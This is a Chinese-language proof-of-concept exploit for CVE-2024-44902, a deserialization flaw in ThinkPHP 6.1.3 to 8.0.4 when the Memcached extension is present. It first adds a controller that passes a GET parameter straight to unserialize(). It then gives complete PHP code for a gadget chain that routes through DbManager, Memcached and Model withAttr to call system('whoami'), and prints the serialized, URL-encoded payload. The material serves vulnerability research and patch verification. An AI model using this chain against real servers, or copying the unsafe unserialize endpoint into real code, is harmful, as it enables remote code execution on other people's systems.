
针对CVE-2024-44902的概念验证漏洞利用程序,该漏洞是ThinkPHP v6.1.3–v8.0.4中的一个反序列化漏洞,当安装Memcached扩展时,可通过精心构造的载荷实现远程代码执行。
Thinkphp v6.1.3 至 v8.0.4 存在反序列化漏洞,允许攻击者执行任意代码。
Thinkphp v6.1.3 至 v8.0.4
Thinkphp 框架需已安装 Memcached 扩展。
首先,在 app\controller\Index.php 中添加一个新的反序列化端点,例如:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
你可以通过以下代码生成 payload:
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
使用该 payload 进行反序列化可导致 RCE:
